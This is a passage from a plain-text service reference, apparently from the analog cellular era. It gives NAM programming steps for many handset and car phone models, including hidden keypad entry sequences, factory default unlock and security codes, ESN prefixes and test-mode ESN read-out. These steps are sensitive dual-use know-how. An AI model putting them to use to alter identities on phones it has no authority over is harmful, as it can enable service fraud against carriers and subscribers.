"Save to NAM?" will display, press MEM to save NAM or CLR to exit.
Horn Alert: FCN + 1 + Vol UP (To Scroll)
"Horn Alert" will display, + * (To toggle) +
MEM (to store) + Turn Ignition Off
New Unlock Code: NAM
System Select: FCN + 2 + 6 digit security
Code + MEM + Vol UP or DOWN(to scroll) "System
Select" will display + * (To toggle)
A Non-wireline, B Wireline
A/B Pref non-wireline, B/A Pref wireline
Home
Press MEM (to store)
Press CLR (to exit)
-------------------------------------------------------------------------------
GLENAYRE GL300
-------------------------------------------------------------------------------
See AT&T 1300
-------------------------------------------------------------------------------
GTE METAL SERIES
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: Sun Moon Star
Programmer: Motorola 1801 - Celnum, Bytek, Curtis
ESN Prefix DEC: 178
HEX: B2
ESN, S/N Match Required: Yes
Programmable Handset: No
Available Channels: 832
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX or XXXX
MIN Option: Enabled
Repertory Option: Enabled
Handsfree Option: Enabled (if equipped)
Local Use Option: Enabled
End-to-End Signalling: Enabled
Horn Alert option: Enabled
System ID Format: XXXXX
Preferred system: A or B
Access Overload Class: XX
Group ID Format: XX
Initial Paging Channel: 333 or 334
Station Class: 08
Manufacturer Options:
Hex Address B7 B0
13 X 0 0 0 0 X X X
Hex Address 13 - B7 16-digit dial from memory if enabled
or 32-digit dial if 0 is entered.
B2 Program with 1 to enable special lock.
B1 Program with 1 to enable partial lock.
B0 Program with 1 to enable roam inhibit.
To disable any feature listed above, program bit with a zero.
Horn alert: F + 7
New Unlock code: NAM
System Select: F + 5 + X
X=1 Standard (AB or BA)
X=2 Alternative (BA or AB)
X=3 Non Pref only
X=4 Pref only
X=5 Home
-------------------------------------------------------------------------------
HARRIS 4000 SERIES
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: Harris
Programmer: Motorola, Celnam, Curtis, Bytek
ESN Prefix DEC: 137
HEX: 89
ESN, S/N Match Required: Yes
Programmable Handset: No
Avaliable Channels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
MIN Option: Enabled
Repertory Option: Enabled
Handsfree Option: Enabled or Disabled
Local Use Option: Enabled
End-to-End Signalling: Enabled
Horn Alert Option: Enabled
System ID Format: XXXXX
Preferred System: A or B
Access Overload Class: XX
Group ID Format: XX
Initial Paging Channel: 333 or 334
Station Class: 00
Horn Alert: Celebrity -- SEL + 0
CellPhone -- HORN (switch)
Custom -- STANDBY
New Unlock Code: NAM
System Select: Celebrity -- SEL + * + *
(Repeat until one of the following appears:)
A Pref (AB)
B Pref (BA)
A Only
B Only
CellPhone -- SEL + * (AB)
SEL + # (BA)
SEL + 0 + * (A only)
SEL + 0 + # (B only)
Custom -- Press A/B switch repeatedly.
One of the following will appear:
A Pref (AB)
B Pref (BA)
A Only
B Only
H Only (Home)
-------------------------------------------------------------------------------
HITACHI CR-111H transportable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Hitachi
Programmer: Handset
ESN Prefix DEC: 132
HEX: 84
ESN, S/N Match Required: No
Available Channels: 832
Programming Sequence: Power On
Select a NAM (A or B):
A-FCN 621# FCN, B-FCN 622# FCN
Enter Programming Mode
with FCN 626 RCL
Enter Data at each step
then press Up of Down
Write NAM with FCN 626 STO
# of digits
System ID Format: 5 XXXXX
Local Use Option: 1 1
MIN Option: 1 1
System Select H/S: 1 1
Roam Inhibit: 1 0
Mobile Number: 10 XXX-XXX-XXXX
Station Class: 2 08 (mobile) or 14 (portable)
Initial Paging Channel: 3 333 or 334
Access Overload Class: 2 XX
Preferred System: 1 1 (A) or 0 (B)
Group ID Format: 2 XX
Unlock Code: 3 or 4
End-to-End Signaling: 1 1
Handsfree: 1 0 or 1
Horn Alert: N/A
New Unlock Code: NAM
System Select: FCN + 9 + DOWN (DOWN to scroll
system prompts)
Enter Options: STO + FCN
-------------------------------------------------------------------------------
HITACHI CR-2110H portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Hitachi
Programmer: Handset
ESN Prefix DEC: 132
HEX: 84
ESN, S/N Match Required: No
Handset Programming: Yes
Number of Channels: 666
Programming Sequence: Power On
Select NAM one or two with Sequence A or B
A-OPT + DIAL + MAIN (for NAM 1)
B-OPT + DIAL + SUB (for NAM 2)
(Use OPT + 3 arrow keys to select functions
from menu or screen)
Enter Programming Mode with OPT 626 RCL
Press UP(# Key) or Down(* Key) to increment
Write NAM with OPT 626 STO
# of digits
System ID: 5 XXXXX
Local Use: 1 1
MIN Option: 1 1
System Select from H/S: 1 1
Roam Inhibit: 1 0
Area Code: 3 XXX
Phone Number: 7 XXX-XXXX
Station Class: 2 XX
Initial Page Channel: 4 0333 or 0334
Access Overload: 2 XX
Preferred System: 1 0 (B) or 1 (A)
Group ID: 2 XX
Lock Code: 3 XXX
End-to-End Signaling: 1 1
Handsfree: 1 0 or 1
Press OPT + 626 + STO to enter contents and exit program mode
Horn Alert: N/A
New Unlock Code: NAM
System Select: OPT + SYST (Software Ke) +
SCRL (Software Key) repeatedly. One of the
following prompts will appear:
SYS A/SYS B/SYS AB/SYS BA/HOME
Press SELC (Software Key to enter selection)
-------------------------------------------------------------------------------
HITACHI CR-211H & CR-2121H portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Hitachi
Programmer: Handset
ESN Prefix DEC: 132
HEX: 84
ESN, S/N Match Required: No
Handset Programmable: Yes
Number of Channels: 832
Programming Sequence: Power On
Select NAM one or two with sequence A or B
A-OPT + DIAL + MAIN (for NAM 1)
B-OPT + DIAL + SUB (for NAM 2)
(Use OPT + 3 arrow keys to select functions from
menu or screen)
Enter Programming Mode with OPT 626 RCL
Write NAM with OPT 626 STO
# of digits
System ID: 5 XXXXX
Local Use: 1 1
MIN Option: 1 1
System Select from H/S: 1 1
Roam Inhibit: 1 0
Phone Number: 10 XXX-XXX-XXXX
Station Class: 2 XX
Initial Page Channel: 4 0333 or 0334
Access Overload: 2 XX
Preferred System: 1 0 (B) or 1 (A)
Group ID: 2 XX
Lock Code: 3 XXX
End-to-End Signaling: 1 1
Handsfree: 1 0 or 1
Press OPT + 626 + STO to enter contents and exit program mode
Horn Alert: N/A
New Unlock Code: NAM
System Select: OPT + SYST (Software Key) +
SCRL (Software Key) repeatedly. One of the
following prompts will appear.
SYS A/SYS B/SYS AB/SYS BA/HOME
Press SELC (Software Key to enter selection)
-------------------------------------------------------------------------------
HITACHI CR-2110H portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Hitachi
Programmer: Handset
ESN Prefix DEC: 132
HEX: 84
ESN, S/N Match Required: No
Programming Sequence: Power On
Select a NAM (A or B):
A-OPT + DIAL + MAIN, B-OPT + DIAL + SUB
(use OPT _ 3 arrow keys to sel fcns from menu)
Enter Programming Mode with OPT 626 RCL
Press UP(# Key) or DOWN(* Key) to increment
Write NAM with OPT 626 STO
# of digits
System ID Format: 5 XXXXX
Local Use Option: 1 1
MIN Option: 1 1
System Select H/S: 1 1
Roam Inhibit: 1 0
Area Code: 3 XXX
Mobile Number: 7 XXX-XXXX
Station Class: 2 08 (mobile) or 14 (portable)
Initial Paging Channel: 3 333 or 334
Access Overload Class: 2 XX
Preferred System: 1 1 (A) or 0 (B)
Group ID Format: 2 XX
Unlock Code: 3 or 4
End-to-End Signaling: 1 1
Handsfree: 1 0 or 1
Horn Aler: N/A
New Unlock Code: NAM
System Select: OPT + SYST (software key)
+ SCRL (software key) repeat for system
prompts. SELC (to enter selection)
-------------------------------------------------------------------------------
HITACHI CR-111H transportable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Hitachi
Programmer: Handset
ESN Prefix DEC: 132
HEX: 84
ESN, S/N Match Required: No
Available Channels: 832
Programming Sequence: Power On
Select a NAM (A or B):
A-OPT + DIAL + MAIN, B-OPT + DIAL + SUB
(Use OPT + 3 arrow keys to select from menu)
Enter Programming Mode with OPT 626 RCL
Press Up(# Key) or Down(* Key) to increment
Write NAM with OPT 626 STO
# of digits
System ID Format: 5 XXXXX
Local Use Option: 1 1
MIN Option: 1 1
System Select H/S: 1 1
Roam Inhibit: 1 0
Mobile Number: 10 XXX-XXX-XXXX
Station Class: 2 08 (mobile) or 14 (portable)
Initial Paging Channel: 3 333 oe 334
Access Overload Class: 2 XX
Unlock Code: 3 or 4
End-to-End Signaling: 1 1
Handsfree: 1 0 or 1
To enter data press OPT + 626 + STO
Horn Alert: N/A
New Unlock Code: NAM
System Select: OPT + SYST (software Key) +
SCRL (software key) repeat for system prompts.
SELC (to enter selection)
-------------------------------------------------------------------------------
HYUNDAI
-------------------------------------------------------------------------------
See NOVATEL Aurora programming instructions
-------------------------------------------------------------------------------
INFINITI
-------------------------------------------------------------------------------
See MOTOROLA Handset programming instructions
Use Handset Type SCN 2144 or SCN 2278
-------------------------------------------------------------------------------
JAGUAR (Factory Phone)
-------------------------------------------------------------------------------
See PANASONIC EB 311/EB 312
-------------------------------------------------------------------------------
E.F. JOHNSON
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: E.F. Johnson
Programmer: Motorola or Curtis
ESN Prefix DEC: 131
HEX: 83
ESN, S/N Match Required: Yes
Programmable Handset: No
Available Chennels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
MIN Option: Enabled
Repertory Option: Enabled
Handsfree Option: Enabled or Disabled
Local Use Option: Enabled
End-to-End Signalling: Enabled
Horn Alert Option: Enabled
System ID Format: XXXXX
Preferred System: A or B
Access Overload Class: XX
Group ID Format: XX
Initial Paging Channel: 333 or 334
Station Class: 00
Option Bits:
Hex Address B7 B0
13 1 1 1 1 0 1 1 1
14 0 0 0 1 1 1 1 0
15 1 1 0 0 0 0 0 0
16 0 1 1 0 1 0 0 0
Description:
Address 13 -- B7 One minute reminder
B6 Call Timer
B5 Lock Option
B4 Speaker Mute
B2 Local Dial Tone
B1 Call in Absencce Indicator
B0 Call Indicator
Address 14 -- B4 Recall Accumulated Time
B3 Hold Option
B2 Digit Review
B1 DTMF Disable
Address 15 -- B7 Diagnostic Features
B6 Failure Help Display
Address 16 -- B6 System Select Option
B5 DTMF Repertory Dialing
B3 System Indicator
Horn Alert: Horn Slide Switch on Handset
New Unlock Code: NAM
System Select: RCL + AUX + AUX, etc.
This will display one of the following:
A only
PH-B
ALL
PH-B
Press CLR to enter selection and exit A/B mode.
-------------------------------------------------------------------------------
KENWOOD KMP F500 MOBILE and KMP H700 portable
-------------------------------------------------------------------------------
Manufacturer by NEC.
- KMP F500 programs and operates similar to the NEC 3800.
- KMP H700 is similar to the NEC P300
Program adaptors (available from NEC or KENWOOD) are necessary
to program both models.
-------------------------------------------------------------------------------
LEXUS
-------------------------------------------------------------------------------
See MOTOROLA Handset programming instructions.
Use Handset Type SCN 2301.
-------------------------------------------------------------------------------
LUXCEL LXC/LXM/LXT 450
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Shintom
Programmer: Handset
ESN Prefix DEC: 174
HEX: AE
ESN, S/N Match Required: Yes
Available Channels: 832
Stamped Model Number: 4x130511s
Programming Sequence: Power On
FUNC + 5 + to lock phone
Enter Programming mode: FUNC + # + 626 + # + FUNC
Press SEND to advance past Model #/sw vers
Press SEND to advance past ESN(in Hex form)
Press SEND to advance/change through parameters
Write NAM: END + FUNC + END
Phone will initialize in the Lock Mode
# of digits
Area Code: 3 XXX
Mobile Number: 7 XXX-XXX-XXXX
System ID Format: 5 XXXXX
Access Overload Class: 2 XX
Local Use Option: 1 1
MIN Option: 1 1
Unlock Code: 3 XXX (preset 123)
Auto Lock: 1 0(off) 1(on)
Call Restrictions Code: 3 XXX (preset 123)
Call counter Reset: 2 XX
Handsfree: 1 0 or 1
Horn Alert: 11
Horn Alert Shutoff Timer: 1 0-2hrs, 1-4hrs, 2-8hrs, 3-no limit
Cum. Call Timer Reset: 2 XX (preset 12)
Horn Alert: FUNC + 4 + Ignition Off
New Unlock Code: NAM
System Select: FUNC + 7 (A then B) repeat to exit
FUNC + 7 (B then A) repeat to exit.
-------------------------------------------------------------------------------
LUXCEL LXC/LXM/LXT 600
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Goldstar
Programmer: Handset
ESN Prefix DEC: 141
HEX: 8D
ESN, S/N Match Required: Yes
Available Channels: 832
Stamped Model Number: GM5000 or GT5000
Programming Sequence: Power On
FUNC + 4 + * (to select NAM)
Enter Programming mode: FCN + 99 + * (display
"enter code") + 1234567890 + MEM (enter within
30 secs) Press MEM after entering each parameter
to store Scroll Up or Down to view next parameter
CLR key to exit without changes saved
# of digits
Mobile Number: 10 XXX-XXX-XXXX + MEM
System ID Format: 5 XXXXX + MEM
Initial Paging Channel: 3 333 or 334 + MEM
Access Overload Class: 2 XX + MEM
Unlock Code: 3 XXX(preset 123)
Security Code: 6 XXXXXX + MEM
Theft alarm dis: 4 XXXX + MEM
Preferred System: 1 0(B) or 1(A) + MEM
Handsfree: 1 0(disable) or 1(enable) + MEM
Local Use Option: 1 1 + MEM
MIN Option: 1 1 + MEM
Horn Alert: 1 1 + MEM
Optional Speaker: 1 1 + MEM
Press MEM to save, CLR to exit
Horn Alert: FCN + 1 + Vol Up (Scroll to "Horn Alert")
+ * (toggle selection)
New Unlock Code: NAM
System Select: FCN + 2 + 6 digit security code + MEM + Vol Up
or Down (to scroll) ("System select") will display
+ * (to toggle)
Press MEM (to store)
Press CLR (to exit)
-------------------------------------------------------------------------------
MEI CT2000
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: MEI
Programmer: Handset
ESN Prefix DEC: 167
HEX: A7
ESN, S/N Match Required: Yes
Stamped Model Number: CT 3000
Number of Channels: 832
Programming Sequence: Power On
Enter program sequence: 12358 + * + 0 + #980 + #
Press 1 to enter program mode
Select NAM 1 or 2
Enter information for each step then press
* to increment
Press END to write NAM information or select
NAM 2 and repeat progress to program 2nd
# of digits
System ID: 5 XXXXX + *
Local Use: 1 1 + *
MIN Option: 1 1 + *
Mobile Number: 10 XXX-XXX-XXXX + *
Station Class: 2 08 + *
Initial Page Channel: 3 333 or 334 + *
Access Overload: 2 XX + *
Preferred System: 1 0 (B) or 1 (A)
Group ID: 2 XX + *
Lock Code: 3 XXX + *
End-to-End Signalling: 1 1 + *
Repertory Option: 1 1 + *
Horn Alert: 1 1 + *
Handsfree: 1 1 + *
Sec Code: 3 XXX + *
Press END to write NAM information
Horn Alert: FCN + 9
New Unlock Code: NAM
System Select: FCN + 0 + RCL + RCL + RCL, etc...
(Until one of the following prompts appears)
Standard AB or BA
Inverse (Alternate BA or AB)
A Only
B Only
Home
Press STO to enter selection + CLR to exit.
-------------------------------------------------------------------------------
MEI CT3000
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: MEI
Programmer: Handset
ESN Prefix DEC: 167
HEX: A7
ESN, S/N Match Required: Yes
Stamped Model Number: CT 3000
Number of Channels: 832
Programming Sequence: Power On
Enter program sequence: 12358 + * + 0 + # + 980 + #
(must be inputed within 10 seconds)
Press 1 to enter programming mode
Select NAM 1 or 2
Enter infomation for each step then press
* to increment
Press END to write NAM infomation or select
NAM 2 and repeat progress to program 2nd
# of digits
System ID: 5 XXXXX + *
Local Use: 1 1 + *
MIN Option: 1 1 + *
Mobile Number: 10 XXX-XXX-XXXX + *
Station Class: 2 08 + *
Initial Page Channel: 3 333 or 334 + *
Access Overload: 2 XX + *
Preferred System: 1 0 (B) or 1 (A)
Group ID: 2 XX + *
Lock Code: 3 XXX + *
End-to-End Signalling: 1 1 + *
Repertory Option: 1 1 + *
Horn Alert: 1 1 + *
Handsfree: 1 1 + *
Sec Code: 1 1 + *
Press END to write NAM information
Horn Alert: FCN + 9
New Unlock Code: NAM
System Select: FCN + 0 + RCL + RCL + RCL, etc...
(Until one of the following prompts appears)
Standard (AB or BA)
Inverse Alternate (BA or AB)
A Only
B Olny
Home
Press STO to enter selection + CLR to exit.
-------------------------------------------------------------------------------
MEI HT5000 portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: MEI
Programmer: Keypad
ESN Prefix DEC: 167
HEX: A7
ESN, S/N Match Required: Yes
Stamped Model Number: HT 5000
Number of Channels: 832
Programming Sequence: Fully charges battery on phone
Power On
Connect program adapter to bottom of phone or
jumper pin #1 and pin #5 while pressing PWR button
Enter individual parameter then press RCL to store
data and increment
SND or MUT may be pressed to scroll program parameters
Press END to write NAM information
# of digits
System Select Feature: 1 1 + RCL
Low Battery Alarm: 1 1 + RCL
Memory Locations: 1 0=10 or 1=100 + RCL
Enable Roaming: 1 1 + RCL
End-to-End Signalling: 1 1 + RCL
Horn Alert: 1 1 + RCL
Repertory Option: 1 1 + RCL
Music on Mute: 1 1 + RCL
Enable Timer Reset: 1 1 + RCL
Status Meter: 1 1 + RCL
Not Used: 1 0 + RCL
Resettable Timer: 1 0 + RCL
Restrict own Num Display: 1 0 + RCL
Not Used: 1 0 + RCL
Not Used: 1 0 + RCL
Not used: 1 0 + RCL
Lock Select: 1 0=Total lock, 1=Outgoing Lock,
2=Partial Lock + RCL
Unlock Code: 1-10 XXX + RCL
Backlight Timer: 256 10 + RCL
Mobile Number: 10 XXX-XXX-XXXX + RCL
System ID: 5 XXXXX + RCL
Initial Paging Channel: 3 333 or 334 + RCL
Station Class: 2 10 + RCL
Preferred System: 1 1(A) or 0(B) + RCL
MIN Option: 1 X + RCL
Access Overload: 2 XX + RCL
Group ID: 2 XX + RCL
Local Use: 1 1 + RCL
The program sequence will now repeat the last 8 steps for a second NAM.
If you wish to program only one NAM, press END to exit. Once end is pressed,
wait 5 seconds, for the phone to complete the program process. After the
programming is complete, power phone OFF and remove the program adapter.
Multiple NAM Select: RCL + # + 6 (repeatedly until new
number and correct system select appears)
New Unlock Code: NAM
System Select: RCL + # + 6 + 6 + 6 + 6 etc...
(One of the following prompts will display)
Standard (AB or BA)
Inverted (Alternate BA or AB)
A only
B only
Home
Press CLR to exit.
-------------------------------------------------------------------------------
MESA
-------------------------------------------------------------------------------
See DIAMONDTEL
-------------------------------------------------------------------------------
MGA TELEPHONES
-------------------------------------------------------------------------------
MGA 100 - See DIAMONDTEL MESA 95
MGA 200 - See DIAMONDTEL MESA 90X
-------------------------------------------------------------------------------
MITSUBISHI 500, 555, 560 and 600
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Mitsubishi
Programmer: Handset
ESN Prefix DEC: 134
HEX: 86
ESN, S/N Match Required: Yes
Number of Channels: 666
Programming Sequence: Power On
Press and hold STO while inputting 5474432
Enter data then press SND to increment
Press END to write NAM information
# of digits
Mobile Number: 10 XXX-XXX-XXXX + SND
Security Code: 3 XXX + SND
System ID: 5 XXXXX + SND
Local Use: 1 1 + SND
MIN Option: 1 1 + SND
Initial Paging Channel: 3 333 or 334 + SND
Access Overload: 2 XX + SND
Preferred System: 1 0(B) or 1(A) + SND
Group ID: 2 XX + SND
End-to-End Signalling: 1 1 + SND
Handsfree: 1 0 (disable) or 1 (Enable) + SND
Roam Inhibit: 1 0 (disable) or 1 (Enable) + SND
A/B Select: 1 0 (disable) or 1 (Enable) + SND
Dual Handset: 2 00 single set + SND
01 dual handset + SND
Long Distance Inhibit: 2 00 standard + SND
08 inhibit + SND
The phone alson has a NAM socket. Be sure to remove standard NAM, if
applicable, before attempting to program phone from the handset.
Horn Alert: FCN + 5
5 can be repeatedly pressed to exted horn alert duration. If "Horn" blinks
then call in absence is activated.
New Unlock Code: FCN + 6 + 3 digit security code (NAM) +
new 3 digit unlock code.
System Select: FCN + 0 + 0 + 0 etc... (until one of the
following prompts appears)
Pref A or Pref B
Pref B or Pref A
H only
Only A or Only B
Only B or Only A
Press CLR to exit.
-------------------------------------------------------------------------------
MITSUBISHI 700 portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Mitsubishi
Programmer: Handset
ESN Prefix DEC: 134
HEX: 86
ESN, S/N Match Required: No
Stamped Model Number: MT392FOR6A
Number of Channels: 666
Programming Sequence: Power On
Enter Sequence 3111917 while holding CLR
(within 10 seconds of power on)
SEND button Enters data and increments
END button writes data in NAM
# of digits
Mobile Number: 10 XXX-XXX-XXXX + SEND
Security Code: 4 XXXX + SEND
System ID: 5 XXXXX + SEND
Local Use: 1 1 + SEND
MIN Option: 1 1 + SEND
Initial Page Channel: 3 333 or 334 + SEND
Access Overload: 2 XX + SEND
Preferred System: 1 0(B) or 1(A) + SEND
Group ID: 2 XX + SEND
End-to-End Signalling: 1 1 + SEND
Roam Inhibit: 1 0 or 1 + SEND
Enable A/B Option: 1 0 or 1 + SEND
Auto Lock: 1 0 or 1 + SEND
Enable Booster Option: 1 0 or 1 + SEND
Press END to write NAM information
New Unlock Code: FCN + STO + (4 digit Security Code) +
New 3 digit Unlock Code + CLR + FCN +
1 + X + CLR (to exit)
X=0 Standard (AB or BA)
X=1 Alternate (BA or AB)
X=2 Home only
X=3 Preferred only (A only or B only)
X=4 Non-Pref Only (B only or A only)
-------------------------------------------------------------------------------
MITSUBISHI 800 transportable & mobile
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Mitsubishi
Programmer: Handset
ESN Prefix DEC: 134
HEX: 86
ESN, S/N Match Required: No
Number of Channels: 832
Programming Sequence: Power On
Depress and hold STO while nputting 5474432
(must be input within 10 seconds)
Enter information for each step then press
SND to increment
Press END to write NAM information
# of digits
Dual Phone Number: 1 0 (1 number) or 1 (2 number)
Mobile Number: 10 XXX-XXX-XXXX
System ID: 5 XXXXX
Local Use: 1 1
MIN Option: 1 1
Initial Page Channel: 4 0333 or 0334
Access Overload: 2 XX
Preferred System: 1 0(B) or 1(A)
Group ID: 2 XX
(If 2 Numbers were set, repeat the above functions once more)
Security Code: 4 XXXX
End-to-End Signalling: 1 1
Discontinuous
Transmission: 1 0(disable) or 1(enable)
Handsfree: 1 0(disable) or 1(enable)
Roam Inhibit: 1 0
Continuous DTMF: 1 0(disable) or 1(enable)
System Select: 1 1
Dual Handset: 1 0(disable) or 1(enable)
Long Distance Inhibit: 1 0(disable) or 1(enable)
Never Power Off or Disconnect power while phone is in programming mode.
Display ESN: Enter Test Mode
Power On
Press and hold STO while inputting 5278764
Enter 189 + SND (to read ESN)
Power off to exit
Horn Alert: FCN + 5 pressing 5 repeatedly will increase
horn alert duration. If "Horn" stays illuminated,
phone is in horn alert mode. If "Horn" blinks, the
call in absence indicator is activated.
New Unlock Code: FCN + 6 + 4 digit security code (NAM) +
following prompts appears
Pref A or Pref B, Standard (AB or BA)
Pref B or Pref A, Alternate (BA or AB)
Home only
Only A or Only B
Only A or Only A
Press CLR to exit.
-------------------------------------------------------------------------------
MITSUBISHI 900 & 3000 portables
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Mitsubishi
Programmer: Handset
ESN Prefix DEC: 134
HEX: 86
ESN, S/N Match Required: No
Available Channels: 832
Programming Sequence: Power On
Depress and hold END while inputting 6972814
(must be input within 10 seconds)
Enter information for each step then press
SEND to increment
Press END to write NAM information
# of Digits
Dual Number: 1 0(1 NAM) or 1(2 NAM) + SEND
Mobile Number: 10 XXX-XXX-XXXX + SEND
System ID: 5 XXXXX + SEND
Local Use: 1 1 + SEND
MIN Option: 1 1 + SEND
Initial Page Channel: 4 0333 or 0334 + SEND
Access Overload: 2 XX + SEND
Preferred System: 1 0(B) or 1(A) + SEND
Group ID: 2 XX + SEND
Roam Inhibit: 1 0 + SEND
VOX: 1 0(disable) or 1(enable) + SEND
(if you entered 2 NAMs repeat the above steps once more)
Security Code: 4 XXXX + SEND (900 only)
End-to-End Signalling: 1 1 + SEND
Continuous DTMF: 1 0(disable) or 1(enable) + SEND
Auto Lock: 1 0(disable) or 1(enable) + SEND
Booster: 1 0 + SEND (900 only)
Audible Timer: 1 0(disable) or 1(enable) + SEND
Use a charged battery for programming.
Do NOT power down or disconnect power while in the programming mode.
Display ESN: Power On
Hold END key while inputting 0944635 (within 10 secs)
18 + SEND (to display ESN)
Power Off (to exit)
New Unlock Code: FCN + 7 + 4 digit security code
(NAM) + New 3 digit unlock code + CLR (900 only)
For 3000: FCN + 7 + 4 digit security code (NAM)
+ new 3 digit unlock code + STO
System Select: FCN + 1 + X
X=0 Standard (AB or BA)
X=1 Alternate (BA or AB)
X=2 Home
X=3 Pref Only (A only or B only)
X=4 Non-Pref Only (B only/A only)
Press CLR to exit
-------------------------------------------------------------------------------
MITSUBISHI 1500 transportable & mobile
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Mitsubishi
Programmer: Handset
ESN Prefix DEC: 134
HEX: 86
ESN, S/N Match Required: No
Stamped Model Number: 1500+Serial Number
Number of Channels: 832
Programming Sequence: Power On
Depress and Hold CLR while inputting 5474432
(must be within 10 seconds)
Enter information for each step then press
SND to increment
Press END to write NAM information
# of Digits
Dual Phone Number: 1 0 (1 NAM) or 1 (2 NAMs) + SND
Mobile Number: 10 XXX-XXX-XXXX + SND
System ID: 5 XXXXX + SND
Local Use: 1 1 + SND
MIN Option: 1 1 + SND
Initial Page Channel: 4 0333 or 0334 + SND
Access Overload: 2 XX + SND
Group ID: 2 XX + SND
(If you selected 2 NAMs you will repeat the above steps once more)
Security Code: 4 XXXX + SND
Discontinuous
Transmission: 1 0(disable) or 1(enable) + SND
Roam Inhibit: 1 0 + SND
Continuous DTMF: 1 0(disable) or 1(enable) + SND
System Select: 1 1 + SND
Disable One Tel #
display: 1 0 + SND
SID Lockout (Invalid
SID): 5 XXXXX + SND
Dual Handset: 1 0(disable) or 1(enable) + SND
RJ 11 Option: 1 0(disable) or 1(enable) + SND
Press END key to enter program info and exit program mode
NEVER Power Off or Disconnect power while phone is in programming mode
Display ESN: Enter Test Mode
Power On
Press and hold CLR while inputting 5287864
Enter 18 + SND(to read ESN)
Power Off to exit.
Horn Alert: FCN + 3 + 8
New Unlock Code: FCN + 7 + 4 digit security code + New
3 digit unlock code + STO
System Select: FCN + 1 + X
X=0 Prefer A (AB)
X=1 Prefer B (BA)
X=2 Home
X=3 A Only
X=4 B Only
Press CLR to exit.
-------------------------------------------------------------------------------
MITSUBISHI 301, 401, and 450
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: Mitsubishi
Programmer: Curtis or Bytek
ESN Prefix DEC: 134
HEX: 86
ESN, S/N Match Required: No
Programmable Handset: No
Available Channels: 666
MIN 1: XXX
Lock: XXX
MIN 2: XXX
System ID Format: XXXX
Horn Alert Option: 1
Handsfree Option: 1 (if equipped)
End-to-End Signalling: 1
Repertory Option: 1
Group ID Format: XX
Access Overload Class: XX
Station Class: 0000
Local Use Option: 1
Initial Paging Channel: 333 or 334
Preferred System: 1(A) or 0(B)
-------------------------------------------------------------------------------
MITSUBISHI 460 CRYSTAL ONE
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: Toshiba
Programmer: Motorola, Curtis or Bytek
ESN Prefix DEC: 138
HEX: 8A
ESN, S/N Match Required: No
Programmable Handset: No
Available Channels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
MIN Option: Enabled
Repertory Option: Enabled
Handsfree Option: Enabled or Disabled
Local Use Option: Enabled
End-to-End Signalling: Enabled
Horn Alert Option: Enabled
System ID Format: XXXXX
Preferred System: A or B
Access Overload Class: XX
Group ID Format: XX
Initial Paging Channel: 333 or 334
Station Class: 00
Manufacturer Options:
Hex Address B7 B0
13 0 0 0 0 0 0 1 1
14 0 0 0 0 0 0 0 0
15 0 0 0 0 0 0 0 0
16 0 0 0 0 0 0 0 0
17 0 0 0 0 0 0 0 0
18 0 0 0 0 0 0 0 0
19 0 0 0 0 0 0 0 0
1A 0 0 0 0 0 0 0 0
1B X X X X X X X X
1C X X X X 0 0 0 0
Description:
Address 13 - B0 A/B Switch
- B1 Call Timer
Address 1B - B4-B7 Timer Clear Code
1st digit (Binary)
B0-B3 Timer Clear Code
2nd digit (Binary)
Address 1C - B4-B7 Call Timer Code
3rd digit (Binary)
Horn Alert: FCN + 6 + Turn Ignition Off
New Unlock Code: NAM
System Select: FCN + 0 Toggles between (AB & BA)
-------------------------------------------------------------------------------
MOBIRA 300 SERIES, ME 57 AND ME 57A Transportable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Mobira
Programmer: Handset, Service Handset or Curtis
ESN Prefix DEC: 156
HEX: 96
ESN, S/N Match Required: Yes
Stamped Model Number: ME57A
Number of Channels: 666
Programming Sequence: Enter Local Mode with the following
sequence: * + 21057 + # + XXXXX + * (XXXXX = 12345 ;
from factory) else XXXXX = Current Security Code.
(Local Mode can also be entered with a service
handset using the sequence: 01 + #)
While noise will come from handset
Enter Programming Mode with the following
sequence: 48#
Press each step number, desired parameter then
* to enter data
Once data has been entered, press * to exit
Program Mode and return to Local Mode
To exit Local Mode, press 02# or power Off
ESN can be read in Local mode by pressing 44#
ESN will display in decimal. Press * to
convert ESN to hexidecimal
# of Digits
System ID: 5 XXXXX + *
MIN Option: 1 1 + *
Local Use: 1 1 + *
Mobile Number: 10 XXX-XXX-XXXX + *
Station Class: 2 00 + *
Initial Page Channel: 3 333 or 334 + *
Access Overload: 2 XX + *
Preferred System: 1 0 (B) or 1(A) + *
Group ID: 2 XX + *
Security Code: 5 XXXXX + *
NAM Reading Sequence: Enter Local Mode as listed above
Press 49# to enter NAM reading Mode
To read programmed values, enter step number
then press *
To Exiti NAM Reading Mode, press * and phone
will return to Local Mode
To exit Local Mode press 02# or Power Off
New Unlock code: SEL + LCK + (5 digit Security Code)
Current 4 digit Unlock code will display -
Preset 1234 + new 4 digit Unlock Code + SEL
System Select: SEL + 1 + 1 + 1 etc (To scroll
Choices) + SEL (To Exit)
A Only
B Only
S Standard AB or BA
-------------------------------------------------------------------------------
